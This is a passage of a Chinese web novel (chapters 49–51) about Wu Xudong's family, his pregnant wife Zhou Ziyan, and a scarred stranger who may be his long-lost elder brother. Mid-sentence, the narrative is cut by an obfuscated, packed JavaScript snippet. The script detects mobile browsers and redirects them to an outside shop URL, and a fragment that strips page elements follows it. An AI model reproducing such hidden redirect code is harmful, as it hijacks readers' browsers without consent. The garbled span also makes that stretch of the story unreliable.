吴旭东掏出公文包,零钱一分不少,交给了周子琰,他连理都不想理诸葛光。 诸葛光自然也不想理他。 接过零钱嘀咕道:“真不是我不想陪她来,是她没有告诉我,不信你问她。” 周子琰转身,看向了已经苏醒的余美妮:“他说的是不是真的?” “我们夫妻间的事,不用你管。”余美妮心里有气,不想领周子琰的情。 周子琰无话可说:“行,我多事。” 转身拉着吴旭东离开,再也不想为这种自轻自贱的女人浪费时间。 两人走后,诸葛光坐在床边,沉默了很久才问她:“为什么不跟我说?” “计划生育,不能生。”余美妮答非所问。 诸葛光叹气:“行,你不说,我也不问。你我分居半年了,你这孩子哪里来的你心里有数。我也不怪你,毕竟我也有错。我给你三个月的时间考虑清楚,到底是过还是离。要是想过,你最好别惹什么乱七八糟的男人回来。要是想离,我还是那句话,孩子归我,钱归你。” “我只问你,你有没有爱过我?有没有!”余美妮情绪激动,泪水滂沱,在脸上冲出两道蜿蜒的路,像极了她的情路,坎坷艰难。 诸葛光替她掖好被角,沉默了很久才开口:“起码我没有出轨。我承认,我还不能完全放下周子琰,但是我只有你一个女人,分居了也没有乱来。你呢?当初在一起的时候就跟你说了,我需要时间,难道我没有在努力吗?这半年孩子都是我带的,你连看都不看一眼,世上没有你这样做妈的。” “你还怨起我来了?我不过是烧了周子琰的照片,你就跟我冷战不说话!你这么放不下她,你去找她呀!不过你也别得意,人家有老公,就算你死乞白赖的黏着人家,人家也未必愿意给你个小老公当当!”余美妮愤怒到了极点,开始口不择言。 气得诸葛光起身便走:“你别太过分了!你烧的是她的单人照吗?你烧的是我们两家人的合照!你连我爸妈我哥哥嫂嫂妹妹包括我,一起都烧了!这跟咒我们死有什么区别?” “我就烧了怎么着吧!你们一家那么喜欢周家的人,那就改姓周好了!”余美妮也恼了,嫁给这么一个心里没她的男人,这辈子的幸福都没有指望了。 她很后悔,当初就该选个爱自己的,而不是这块怎么也捂不热的石头。 可惜诸葛光不是石头,她也没有耐心再捂了。 两人吵到最后,依旧跟半年前一样,以放狠话离婚收场,最后又因为孩子的抚养权问题争执不下,再次拖着,耗着,互相折磨。 人世间的怨偶大概都是差不多的。 想决裂,被孩子牵绊,不够彻底;想和好,心里又扎满了刺,害人害己。 * 家属大院要搬迁了。 新大院已经建好半年多,又开窗通了半年多的气,可以入住了。 吴旭东这两天没去厂里,忙着搬家。 两处大院虽然相隔不远,可是在这里住了一年多的时间,东西还真不少。 又不能请兄弟们来帮忙,毕竟海岛的进出管理很严格,只能自己一次又一次的搬运。 叶嫂子倒是聪明,把她公婆叫了过来,一起搬。 见他一个人怪辛苦的,干脆搭了把手:“小吴啊,来,把被子放车上。” 吴旭东不想麻烦别人,然而叶嫂子的公婆太热情了,只好把被子放了上去。 顺嘴问道:“嫂子你们住几楼?” “三楼,还跟你们做邻居。”叶嫂子又怀孕了,四个多月,已经显怀了。 所以她跟在公婆推着的板车后面,没有拎东西。 东西搬完已经下午四点了,吴旭东来不及收拾,洗了把手准备做饭。 刚准备淘米,老丈人跟丈母娘来了。 老安提着食盒,老周抱着一盆金钱松一盆四季桂。 两口子过来庆祝女儿女婿的乔迁之喜。 “小东啊,放那儿我来,跟你爸喝喝小酒,歇歇。”老安把饭菜拿出来摆上。 吴旭东笑了:“爸妈真疼我,那我不客气了。” “去吧,妈来收拾。”老安一向是个生活好手,整理东西条理分明。 周中擎其实不忍心看老妻一个人忙碌,不过他这次来是带着任务的,只能坐下,小酌两口。 什么任务呢?当然是怕年轻人沉不住气,不懂节制,引起不必要的麻烦。 于是他跟吴旭东去里屋说话。 吴旭东明白, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13741086|143737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红着脸道:“爸,你放心,我都懂,不会乱来的。” “嗯,你要是不好意思跟我说,那就去找医生问问。这是我跟你妈准备的孕期食谱,出版社也看上了,下个月就出版,先拿了手稿给你看看。”周中擎把食谱递过来。 吴旭东随便翻看一下,惊道:“这是妈画的?” “她不行,她画画还不如人家五岁小孩,我画的,不过字是她写的。”周中擎没有谦虚,人不就是这样,各有所长,也互有短板。 他这老妻,什么都会,就是画画不如他。 吴旭东笑了:“原来子琰随爸,她画的画特别好看。” “现在子琰应该有空了,你可以每天让她教你一会儿,以后可以教孩子。”周中擎还带了些东西过来,小酌一口,起身去拿,“这是护肤精油,你妈担心子琰长妊娠纹,特地托人从法国弄来的,现在就可以用了,增加皮肤的韧性,早做预防。” “谢谢爸,我正想找人打听呢,省事儿了。”吴旭东把东西收好,一共三瓶,能用挺久了。 翁婿两个正聊着,周子琰回来了。 还没有显怀,便帮着一起收拾收拾。 翁婿两个哪里看得下去,赶紧让她歇着,叫老安陪着,母女俩说说私房话。 这一忙就是半天,母女俩在里屋,看着外间两个忙碌的身影,相视一笑。 “子琰啊,这新大院挺宽敞的,就是孩子太多了,楼道里进进出出的,你可千万小心啊。”老安最担心的就是女儿的安全问题。 周子琰也注意到了。 这座新大院是秃宝盖形状的。 上下五层,主体是坐北朝南的长楼,中间和两边各有一个楼梯,东西两边各有延伸出去的短楼,边上也有楼梯。 三面楼围成一个院子,楼下可以晒衣服,也能让孩子们玩闹。 南边则是东西各有一个三间大小的库房,库房中间是院子大门。 推拉的那种大铁门,白天的时候敞开,免得影响大家进出,晚上也不关,只有特殊情况才关——比如放假,院子里没人了。 要不然,平时那些夜里轮岗的人进出还得开门,太吵。 这样的楼一共十栋,没有成家的还住营房。 营房也搬过来了,有了现代化的生活设备,住着舒服多了。 不过这么一来,问题也很明显,一栋楼里的人家太多,孩子太多。 即便每栋楼有五个楼梯,人流量还是很大。 周子琰分到的房间正好在中间主楼的楼梯口旁边,进出必须特别小心才行。 所以老两口离开的时候千叮万嘱,让吴旭东每天接送周子琰进出。 吴旭东义不容辞,反正服装厂一切上了正轨,平时都有楚劲雄盯着,他安安心心照顾老婆就行。 第二天,吴旭东扶着周子琰下楼,还有人笑话他小题大做。 他没理。 结果三天后,楼道里传来了哭闹声。 有个怀孕的军嫂买菜回来,被下楼的熊孩子撞倒了,血流了一地。 两家吵得面红耳赤,一个责怪孕妇家属自己不当心,一个责怪家长没有看好小孩,害得孕妇流产。 最后是何政委出面调停,让小孩家长赔了钱。 可是再多的钱,也换不回孕妇失去的孩子呀。 这事闹的,真让人郁闷。 于是接下来的日子里,每个孕妇身边都多了个搀扶守护的家属。 再也没人笑话吴旭东了。 一晃,年底了。 今年周子琰可以回家过年。 两口子赶紧收拾收拾,回去陪陪爸妈。 吴旭东回了趟吴家,看看他妈妈的病治疗得怎么样了。 推开家门,眼前的一幕让他惊讶得说不出话来。 49. 大哥(二更) 他妈妈居然可以自己吃饭了! 手抖得厉害,吃三勺漏两勺,最后一勺还会撒一半。 可能要吃个把小时才能填饱肚子。 这一年她做了一次开颅手术,住了三个月的院,出院后又去专门的康复中心做了半年康复治疗。 这会儿身体协调性还是有点差。 不过,比起完全不能自理,已经好多了。 吴旭东开心坏了,赶紧放下保健品,进来看看自己的妈。 他也不坐,就这么蹲在妈妈面前,双手托着下巴,含笑看着。 真好啊,眼神也清澈了不少,果然还是北京的专家厉害。 他拿起旁边的手帕,时不时帮妈妈擦擦。 吴国正听到动静出来看了眼,解释道:“东东啊,你别生气啊,不是爸爸不想帮忙,是医生不让,多让你妈锻炼锻练,有助于恢复。” “嗯,挺好的爸,我懂。钱够用吗?”吴旭东不知道自己走了什么财运,汽运站旁边的店铺生意好得不得了。 真像八舅说的那样,财源滚滚。 有钱当然要拿出来用,给自己妈看病,天经地义。 吴国正端着饺子出来:“够的,不用担心。对了,你三姐谈恋爱了,可能过完年要结婚。” “在外地结还是回来结?”吴旭东的三姐也二十好几了,谈婚论嫁很正常。 吴国正不清楚,只是感慨道:“其实我不太愿意,男方是她研究所的同事,家里兄弟太多,你姐要是跟他结婚,以后有了孩子谁带?我又得照看你妈,没空啊。” “这事我不好评价,回头我让子琰问问蕾蕾姐。”吴旭东不太想掺和姐姐的事,婚姻是门复杂的学问。 有人削足适履,有人掩耳盗铃。 他不是什么专家,没底气发表意见。 毕竟他跟周子琰这种情况的太少了。 他所有的心得感受,都没有普适性。 吴国正叹了口气:“别问了,我都问清楚了。家里兄弟六个不说,还收养了一个。说是那小子的爸爸上山采药捡回来的,捡回来已经十七八岁了,比家里的几个孩子都大,养好伤一心报恩,干脆认了爸妈,做了家里的大哥。” “也就是说,家里兄弟七个?”吴旭东有点意外,这确实难受啊。 一旦成家,那就是七个儿媳妇,可是婆婆却只有一个,怎么分啊? 以后肯定纠纷不断,没有清静的日子。 可是他跟三姐的关系也就那样吧,他有什么资格指手画脚? 只能劝他爸:“不行你让三姐去男方老家住几天,亲自体验体验。” “还用我劝吗?你三姐已经巴巴地跑到人家过年了。一放假就去了,先斩后奏,气死我了。你说说这算什么事,别人不得笑话她上赶着吗?”吴国正头疼。 他这些年把精力都用来照顾老妻了,对子女疏于管教。 他是非常自责的,可是他也有他的不得已,他尽力了。 所以这事他还是觉得他女儿的责任更大,起码先把男方带回来让长辈把把关呢。 现在好了,妥妥的倒贴。 气死了。 吴旭东宽慰道:“既然去了就别说她了,等她吃几天苦头肯定就回来了,说不定回来就分手了,怕什么。” “传出去难听啊。”吴国正到底还是老思想,不希望女儿未婚同居。 吴旭东倒是没有这种糟粕想法,劝道:“男未娶女未嫁,自由恋爱有什么难听的。就是分了也没什么大不了的,我姐那学历那工作,什么样的男人找不到?” “东东啊,你不懂……”吴国正坐下,招呼他吃饭,“算了,大过年的,不提了,来,尝尝爸爸亲手包的饺子。” 吴旭东吃了三个,放下了筷子:“爸你早点睡,我得回去陪子琰。” “去吧,女人怀孕不容易,还容易情绪起伏,不管什么事,你是男人,多让着她点儿。”吴国正还是通情达理的,儿媳妇怀孕了,好事儿。 他不会在这个时候跟儿子争理。 什么在她家过年不在家里过年的,换了别人家肯定要吵一泡。 他看得开,不计较这些。 再说东东是人家找回来的,女婿又是半个儿,应该的。 吴旭东还是挺感动的,他爸的善良是方方面面的,遇到这种事情也不争,真好。 临走时他留了张银行卡给吴国正:“里面有十万,拿着。密码是我妈生日,不够跟我说。” “哎呀东东,真不用啊,爸爸有钱。”吴国正想把卡还给他。 吴旭东冷下来脸来:“你是不是想要我当不孝子?给你你就拿着!” 吴国正没办法反驳,只好收下了,问道:“你自己够用吗?” “够,这是专门给你俩存的,子琰有专门的卡,放心吧,我不差钱。”吴旭东并不是临时起意,早就开始存钱了。 如今已经有银行开展了银行卡业务,比存折方便。 他自己小家庭的卡,密码是周子琰的生日,给爸妈的是另外一张。 吴国正站在门口,目送儿子进了电梯,这才关门回了屋里。 不禁老泪纵横。 还是小儿子好啊,燕西在世的时候,只会无限制的索取。 小儿子呢? 什么也不找他要,还一出手就给他十万。 都是儿子,差距怎么这么大呢? 最关键的是,大儿子大多数时候都是他们两口子养着的,而小儿子却有足足十七年不在身边。 想想就觉得奇怪。 哎,可能是因为燕西是姑婆带大的,沾染了什么不好的习惯吧。 算了,不想了,看看三娘吃饭吃成啥样了。 哎呦喂,开个养鸡场指定不用买饲料了。 他赶紧收拾收拾,又给老妻盛了一碗:“三娘啊,慢慢吃啊,不着急,多久我都等你。” 收拾完,他也拿着手帕,坐在旁边,耐心陪伴。 * 吴巷北已经来到小山村三天了。 她很忙,男朋友邀请她的时候,她直接拒绝了。 结果当天晚上,她收到了香港来的电话。 八荒舅舅打的,说了一堆她听不懂的话,最后还是蕾蕾姐姐接的。 挂了电话,安小蕾当起了神棍的翻译—— “我八舅的意思,那里有个人,恩情快偿还完了,让你去见见。至于什么人,他不能说,折寿。” “那跟我有什么关系?”吴巷北不明白。 别人的恩情自己还就是了,牵扯她干什么。 安小蕾也不知道,只负责转述:“八舅说了,你要是不去,那就让小东过完年去。不过还是你去最好,子琰怀孕了,小东走不开。而且小东的腿有风湿,去北方容易复发。” 吴巷北无奈,只好修了年假,来男朋友家里看看。 没想到来了三天了,也没有看到什么特别的。 不就是小山村吗? 虽然贫穷落后,但民风淳朴。 所以她男朋友虽然有一堆哥哥嫂子弟弟弟媳,但是对她都挺客气的。 三天时间,足够她把这家几十口人都认清楚了。 可惜至今没有看到他们的大哥。 吴巷北好奇:“丰登,今天都除夕了,你大哥怎么还不回来?” 汤丰登也不知道,只能去问问他爸妈。 汤丰登今年刚毕业,分到研究所,成了吴巷北手下的研究员。 他家住在山脚下,住的是自建房,哥哥弟弟们结婚后又各自加盖了新的房子,所以整个汤家是八处宅基地连在一起的一个大院子。 他爸爸是药农,妈妈是妇科千金圣手,在周围很有名气。 所以他家虽然兄弟多,但其实日子不算困窘。 不过,爸妈毕竟年纪大了,思维不够活泛,所以收入只够温饱。 至于他的哥哥弟弟娶老婆,以及他上大学,都是得益于大哥的无私奉献。 大哥汤正阳不是亲生的,是他爸妈捡来的,伤好了之后一心报恩,至今未婚。 名字也是大哥自己取的,至于大哥原来叫什么,谁也不知道。 前些年政策不够灵活,外出很不方便,所以大哥就留在家里跟爸爸学着种药,做药农。 后来改开了,大哥就去南方跑药材。 赚的钱全寄回来了。 可以这么说,他爸妈捡来的不是儿子,而是一棵人形摇钱树。 而因为这个大哥的存在,他就从原本的老五成了老六。 不过名字没改,化用了五谷丰登,一听就知道是亲兄弟六个里面的老五。 他是家里唯一的大学生,高高瘦瘦斯斯文文,性格也好,看谁都笑盈盈的。 也多亏他脾气好,要不然一般人真受不了吴巷北风风火火的性格。 很多人都不看好这对姐弟恋,加上汤丰登家里又是这样的条件,所以他自己也没有多少信心。 邀请遭到拒绝,他一点都不意外。 不过他还是挺伤心的,没想到 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没办法,人家家庭条件好,能看上她儿子,真是家里的祖坟冒青烟了。 汤丰登应了一声,裹紧身上的棉衣,往最边上的那三间小屋走去。 * 南方大雪,百年难遇。 火车全都停运了,怕是赶不上回家过年了。 汤正阳只好去机场打听打听。 结果飞机也飞不了,除冰系统跟不上,容易出事。 汤正阳实在无奈,只好去码头看看。 实在不行,坐轮船好了,走渤海湾绕道京津冀地区,避开降雪带,再调头往南走几站就到了。 于是大年三十的夜里,他来到了海风习习的码头。 结果除夕夜下班太早,没赶上最后一班渡轮。 身在异乡为异客,形影相吊知是谁。 惆怅间他打了个喷嚏,只能往回走。 算了,找个旅馆吧,不行就等明天坐大巴回去,一个城市一个城市的倒车,总归能回去的。 他回到城里,选了个名字好听的酒店——黄金海岸大酒店。 舍不得住豪华套间,所以选了个标间住下。 拿着房卡进了电梯,两扇门缓缓关上。 逐渐缩小的视野里,一个风姿绰约的中年妇女挽着一个年轻的女人走了进来。 前台客客气气的喊道:“安总好!小安总好!” 安小蕾笑着点头:“妈,咱家酒店新换的装修真不错呀!那我就不客气了,明天二楼宴会厅我包了,同学聚会。” “早就给你留着了。蕾蕾啊,北北也谈对象了,姐姐妹妹里头就剩你还没有动静了!”老安有些发愁。 这个女儿是个工作狂,到现在一次都没谈过恋爱。 安小蕾笑道:“我才不结婚呢,贾宝玉说了,结了婚的女人都是死鱼眼睛,而我只想做海里的夜明珠。” “好好好,随便你,反正你也不差钱,将来没有孩子养老就住养老院吧。”老安看开了,儿女的事,父母还是少强求的好。 母女俩去二楼宴会厅转了一圈,转身上了电梯:“走,带你去看看你的专属花房。” 电梯一路向上,停在了顶楼阳光房。 这是当初装修的时候专门留给二女儿养花的地方。 平时有专门的园丁照看。 打开门,年轻的园丁操着流利的汉语,毕恭毕敬地说道:“欢迎回来,我美丽的蕾蕾小姐。” 安小蕾看着满室芬芳,异常开心。 当即选了一批开得好的水仙、君子兰,又选了一批硕果累累的金桔,吩咐道:“约翰逊,今天除夕,去给每个客房送一盆植物。” 金发碧眼的园丁赶紧去安排。 安小蕾则坐在书桌前,给每一个收到花的客人写一张贺卡,祝他们新年快乐。 除夕夜,十点半,汤正阳冲个澡准备睡觉,敲门声响起。 服务员送来一盆黄绿相间的金桔:“先生您好,我们小安总祝您新年快乐。” 汤正阳接过这盆金桔,关门后摘下了上面的贺卡。 非常别致的花体字,中英结合,真好看。 落款是安小蕾。 真是个心思别致的陌生人。 大雪封路带来的烦躁,瞬间就被陌生人的善意抚平了。 汤正阳端详半天,把贺卡收进了自己的公文包里。 随后摘下一颗金桔尝了尝,真甜。 50. 你好 汤正阳发烧了。 南方很少有这么冷的时候,厚衣服准备不足,昨天又去码头吹了冷风,半夜便浑身滚烫,四肢绵软。 以至于第二天到了退房的时间却爬不起来。 前台打了好几次电话都没有人接。 客房经理过来敲门,也没有任何回应。 然而酒店有规定,只要客人没有退房,就不许私自开门进去。 无奈,经理只好找到正在二楼筹办同学聚会的安小蕾:“小安总,六楼有个客人不知道怎么了,既不续时,也不退房,你看——” “直接报警。”安小蕾起身往六楼来了,同学们还没有到齐,不差这一时半会儿。 客房经理有些为难:“真的要报警吗?万一跟上次一样……” 没办法,上次有一对沉迷腻歪忘了退房的小情侣,怕人打扰,连客房电话都给拔了。 客房经理担心他们出了什么意外,直接开门进去了。 然后就…… 在那之后,酒店就多了一条规定,不管什么时候,客人超时不退房不续费那就报警。 免得有嘴说不清。 安小蕾明白她的担心,问道:“入住信息是一个人吧?” “是。” “那可能是生病了,忽然降温,今天好多人感冒,去报警。”安小蕾守在了客房门口,继续敲门。 万一客人只是睡过头呢,一旦开了门,她就会通知警察别来了。 可惜一直没有反应。 很快,警察来了。 开了门,发现这个客人果然是高烧烧迷糊了,难怪一点反应都没有。 安小蕾赶紧帮忙,拿上客人的公文包,跟警察一起把人抬了下去:“警察同志,我有车,我送他去医院吧,辛苦你们出警记录里写一下,免得客人误会我们。” “放心,不会冤枉好人的。”警察走了。 安小蕾赶紧开车,送这个客人去医院。 幸亏发现得早,要不然有点什么意外,酒店肯定要被追责,还会砸了自家招牌。 安小蕾交了住院费,住院登记表上需要填写家属信息,无奈,她只好写了个“朋友,安小蕾”。 等医生给他挂上点滴,这才准备离开。 又怕他醒来身上没钱,便拿了两张一百块,摁住他没有挂水的右手,握在了他手里。 便是这么一个动作,让安小蕾终于有空看了眼他的长相。 怪了,居然有点像小东哎。 不过这世上长得有几分相似的人还是有的,更何况,客房部那里登记了他的信息,叫汤正阳。 安小蕾没有多想,只觉得可惜。 因为他的左边脸上有两道贯穿性的伤疤,拉低了颜值。 一道是倾斜的,从左边颧骨延伸到耳朵下面的下颌骨那里,一道是竖直的,从左边太阳穴附近延伸到了下颌骨,交叉在一起,像是一个被拉长压扁的X。 真是可惜了,不然肯定是个帅哥啊。 不过也说不准,也许眼睛不好看,本来就丑。 她把他的公文包留下,没碰他的东西,又留了张便条:你好,你发烧了,所以我报警进了你房间带你来了医院,房间还给你留着,如果需要退房,请拨打客房部电话。 后面附上了电话号码,落款是安小蕾。 看看时间,同学应该到齐了,安小蕾赶紧回去了。 等到晚上聚会结束,她又来医院看了眼。 人已经醒了,还出院了,护士递给她一张便条,一千块钱。 “这个病人说他赶着回家过年,就不当面道谢了。一千块钱,略表心意。” 安小蕾接过这钱和便条,心说这还是个挺有礼貌的男人。 回到酒店,她让客房经理退房。 经理告诉她:“小安总,那个客人亲自过来退过房了,还带走了一盆金桔。” “知道了。”这没什么,金桔和那些花,本来就是她送客人的。 她回到爸妈家里过夜。 周子琛已经毕业了,没有去上班,而是窝在家里写小说。 目前出版了三本,有一本被影视公司买了改编权,估计今年年底能拍完播出。 总之,他是个懒鬼,才不想朝九晚五的赶时间去上班。 所以宅家写作最适合他。 这会儿正跟周子琰、吴旭东三人窝在沙发里打游戏。 最新款的红白机,玩的那叫一个开心。 安小蕾凑过去看了眼,只觉得年轻人玩的东西那叫一个聒噪,还是种种花养养草最适合她。 她去卧室换了套家居服,脏衣服拿去了卫生间。 掏兜时候,注意到了那张便条,想想还是没有扔。 这人写的字挺好看的,大开大合,很有气势,扔了可惜,留着欣赏也是好的。 便连那一千块钱一起,收进了床头柜里。 她还不困,便拿起一本书,去客厅坐着,享受一下一大家子其乐融融的感觉。 正好大哥他们也在,难得一家人这么齐整。 不一会儿老安跟老周从厨房出来了,老两口总是舍不得子女辛劳,每次吃完饭都是他们收拾。 安小蕾赶紧往旁边坐坐,给爸妈让点地方。 老安正好想起之前客房经理打的电话,问道:“蕾蕾,那个发烧的客人没事了吧?” “没事了妈,出院了,走了,要赶回去过年。”安小蕾把书放下,“可惜了,不然真想把他叫来跟小东见上一面,两人长得还挺像的。” 正在玩游戏的吴旭东立马挺直了身体:“蕾蕾姐,你说什么?” “有个客人跟你长得很像。脸上还有两道疤,怪吓人的。”安小蕾想了想,补充道,“不过你俩的名字也挺像的,他叫汤正阳,你是早上的太阳。” 旭日东升嘛,那肯定是早上的。 吴旭东跟周子琰对视一眼,问道:“知道他是哪里人吗?” “不知道,客房部应该有他的登记信息。”安小蕾只问了经理客人的名字,别的没有打听,她又不是查户口的。 吴旭东赶紧放下红白机:“子琰,我出去一趟。” “我陪你去。”周子琰也不玩了,这两天冷得出奇,她担心小东的腿。 吴旭东却不肯:“妈,你劝劝子琰,外面下了冻雨,不好走,别给摔着了。” “你也不用去,打个电话问一下不就行了。”老安起身去了卧室。 很快拿着备忘录出来了:“给,登记的地址。” 他们酒店管理严格,客人都要出示身份证登记入住信息的。 所以老安拿到的是汤正阳的真实信息。 吴旭东接过来,有些失望:“北方人,三十七岁。” 如果吴燕西没死的话,今年三十五岁。 所以如果他的大哥真的另有其人,也应该是三十五岁。 对不上。 不过,不排除故意把生日报大两岁的可能,毕竟以前户口登记管理不严。 而且造假猖獗。 为了避免吴家人调查,报大两岁也能混淆视听。 不管怎么说,吴旭东决定有空亲自去看看。 他把备忘录放在茶几上,起身去拿自己的公文包。 他有个号码簿,专门记录联系人的信息,这个应该加进去,虽然暂时没有对方的号码。 一旁的安小蕾拿起备忘录咦了一声:“这个地址有点眼熟哎。” “怎么?”周子琰也凑过来看了看。 安小蕾起身去自己房间,拿了个号码簿出来:“北北不是去男朋友家了吗?临走时我让她把地址写了下来,以防万一。你们看,也就门牌号不一样,其他信息都是一样的。” 省份,城市,乡镇,村民,生产队。 全都一样。 不过一个是二号,一个是八号。 吴旭东也出来了,他拿起两个地址对比了一下:“明天我就去看看。” “怎么?你担心汤家人对你姐姐不好?”周子杰好奇得很,怎么忽然就要去北方了。 安小蕾好像明白了什么,补充道:“说起来,北北原本是不想去的,是八舅让她去的。还说让她去见一个人。” “什么人?”全家异口同声。 “一个快要偿还完恩情的人。”安小蕾想想,还是把八舅的话复述了一遍。 什么混沌难开,命途多舛啊,什么如有奇遇,可以绝处逢 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老安没意见:“行,你去吧,我在家里照看着点。” 厂子里公司里都离不开人,两口子去一个也就够了。 * 汤正阳因为发烧多耽误了一天,回到家的时候,已经是正月初三了。 他抱着一盆金桔进来,手都冻红了也不肯松开。 罗素湘赶紧把金桔接过来放进里屋,遗憾道:“正阳啊,你早回来一天就好了,丰登带女朋友回来了,就想让你看看。可惜他们只有七天假,昨天下午刚走。” “是吗?那挺好的,我早说了,咱家丰登特别优秀,不愁找不到老婆。”汤正阳摘下围巾,去火炉边上暖暖手。 罗素湘给他递了碗热姜茶过来:“正阳啊,这下你也该考虑自己的婚事了吧?六个弟弟都有着落了。你这都三十好几了,该想想自己了。” “妈,我不急,有合适的再说吧。”汤正阳一口闷了姜茶,浑身暖洋洋的。 “正阳啊,这次拍张照片留在家里好不好呀?妈也好托媒人帮你介绍介绍。家里只有你的毕业照,还被你小侄子弄脏了。”罗素湘愁啊,这孩子一门心思为了弟弟们,她心疼。 汤正阳笑笑:“真不用,妈,我饿了,有饺子吗?” “有有有,煎饺水饺都有。”罗素湘赶紧去厨房。 很快端着热气腾腾的两碗饺子出来了。 汤正阳大快朵颐:“还是家里的饭菜香,南方的饭菜吃不惯。” “儿啊,慢点吃,厨房还有。”罗素湘满脸怜爱,这世上怎么会有这么好的孩子。 她真是上辈子积德行善了,这辈子才能有这样的福气。 什么也不用她操心,几个弟弟的彩礼钱、盖房子钱都是这孩子准备的。 就是亲哥哥也没有这样疼弟弟的。 真是让她又高兴又羞愧。 做父母的能力有限,要不然真不想看到正阳这孩子耽误到现在还不结婚。 汤正阳却无所谓得很,一人吃饱,全家不饿,无牵无挂,多好。 他吃饱了,打了个嗝儿:“妈我睡会儿,明天陪你去亲戚家拜年。” “哎,去吧,电热毯给你开了。”罗素湘赶紧收拾碗筷。 可惜丰登他们走了,要不然一家子一起拍张大合照多好啊。 第二天,汤正阳一早就起了。 夜里又下了一场雪,他拿起铁掀,把院子里的积雪铲走,要不然孩子们没法玩,走路也不方便。 很快出了一身热汗。 丝丝缕缕的热气从他额头上冒出来,跟要羽化登仙了似的。 正忙着,门口来了一群人。 为首的是一个年轻高大的帅小伙,走得最急也最快,又像是担心身后的什么人,时不时回头等一等。 等到人群终于来到院子里,帅小伙也不说话,就那么站在积雪里,静静的打量着铲雪的男人。 汤正阳停下手里的动作:“你好,找谁?” 51. 兄弟(二更) 吴旭东至今都记得,第一眼看到南南姐和北北姐的时候,她们眼中的那种亲热和激动是很真实的。 即便她们其实没有怎么找过他,但是重逢的喜悦做不得假。 然而吴燕西看他的眼神,总是透着一种游离在人群外的疏远和陌生。 只是碍于当时人多,不得不勉强勾起嘴角,应应景。 然而一旦回到吴家,热闹的人群散去,那种冷漠和排斥就再也掩饰不了了。 就连婚礼都不愿意来,还是小姨发威,这才不情不愿的空手出席了。 谁家亲哥哥会这样? 不怪他起了疑心,血脉里的那股子本能总是能唤起强烈的直觉。 而现在,他看着面前扫雪的男人,看着男人那五六分相似的五官,以及那贯穿左边半张脸的伤痕,他忽然很想喊一声哥。 这没来由的亲切感让他自己都觉得不可思议。 可是,这么做也太唐突了,万一是他想多了呢? 万一面前的男人已经不记得以前的事了呢? 毕竟蕾蕾姐从北北姐那里得知,汤家父母捡回来的,是个摔得头破血流的孩子。 脑子肯定伤得不轻。 左半边脸的伤痕很好的佐证了那个说法。 他没有勇气赌。 嗓子里像是被人塞了一团砂纸,干涩沙哑,扯动声带的瞬间,带着山呼海啸的痛。 他已经失去过一个大哥了,眼睁睁看着那个大哥倒在了血泊里,却无能为力。 他要怎么努力,才能冒着再次失去一个大哥的风险,对着一个陌生的男人喊一声大哥? 也许就不该来,不用面对,就不会失去。 他只能握紧了双拳,在呼啸的北风中,选择了沉默。 一米九几的大块头,此时脆弱得像是一个追逐肥皂泡的稚童。 明知道风起的瞬间,肥皂泡就会走远,干脆就不追了,只是站在原地,默默的凝望着。 期待凉风有意,期待落雪有情。 期待,这千里奔赴的决心和勇气,也许会带来某种奇迹。 见他迟迟不肯开口,汤正阳索性放下铲子,走近几步,打量起这个沉默的年轻人。 不得不承认,这人跟他长得挺像的。 尤其是眼睛和鼻子。 一样的锐利,一样的挺翘。 不同的是,这个年轻小伙儿的嘴巴更好看一些,笑起来应该会很迷人。 而他…… 他因为左半边脸的伤口,有段时间特别不爱笑,所以嘴唇的弧度略微下压,透着一股子苦涩的味道。 他忽然好奇:“你到底是谁?是来找我的?” “汤大哥你好,这是我爱人吴旭东,他三姐是你弟弟汤丰登的女朋友。”周子琰走上前来,用力握住吴旭东的手。 不管接下来会发生什么,她都会陪他面对。 风雨无阻。 汤正阳笑笑:“原来是老六女朋友的弟弟,是来帮她看看我家的情况吗?你们放心,别看我家兄弟多,彩礼肯定不成问题。我已经准备了二十万,足够他们两个在城里结婚买房了。” 说着,他扭头喊了声:“爸,妈,丰登女朋友家来人了。老二,去小卖部给姥姥家打个电话,今天不去她家了。” 厨房里的罗素湘正在张罗早饭,听到动静,赶紧出来招呼大家进屋坐下。 她男人汤汇德也起来了,正在灶膛口烧锅,这会儿赶紧洗把手,进进出出的找凳子。 很快,汤家的儿子儿媳们也都从别的房间出来了。 一个个的,领着孩子,拿着瓜子糖果,露出朴实无华的笑。 吴旭东看着这一大家子的人,莫名有些羡慕。 他原以为兄弟多的家庭会勾心斗角,争风吃醋。 然而并没有。 汤家兄弟之间那种自然而然流露出的感情很是动人。 就连一个凳子都让来让去的。 你喊我坐,我让你坐,最后干脆抱起一个孩子,把孩子的凳子让出来,给兄弟坐。 就么齐心的一家人,难怪汤正阳愿意留下来报恩。 以至于自己蹉跎成了老光棍儿,也浑不在意。 罗素湘很是重视今天的见面,聊了几句,便叫上几个儿媳妇出去了。 家里有年前准备的腊肉和熏猪腿,但是这远远不够,毕竟来的可是未来的亲家,她还得再去弄点好的来招待客人。 于是他们去叔伯兄弟家牵了一头山羊回来,又去养鱼的生产队买了三条硕大的黑鱼,三条肥美的花鲢。 半路又去了趟屠户家里,割了三斤牛肉,打了十斤黄酒。 回来的时候又担心有人要抽烟,咬咬牙买了一条软中华。 这才裹紧了围巾往回赶。 而此时,吴旭东依旧一句话都没说。 只是直勾勾的盯着汤正阳,想从他的脸上看出点什么。 可惜,什么也看不出来。 周子琰知道他心里的困惑,但是有些话不好没头没脑的问,只能先把两边的人做个介绍,然后再慢慢想办法切入。 “这是我爸,汤伯喊他老周就行。这是我弟弟周子琛,这是我姐安小蕾。”周子琰没穿军装,然而她身姿笔挺,像一株凌雪的白杨,那一身的军人气质是掩盖不了的。 所以由她来介绍自家这边的亲眷,很有信服力。 汤正阳愣了一下,安小蕾? 原来就是这个女人送的金桔,也是这个女人送他去的医院。 他下意识多看了一眼,长得挺漂亮的,身高一米六五左右,看着挺年轻,而且面带微笑,看起来很好说话,像是刚出社会的大学生。 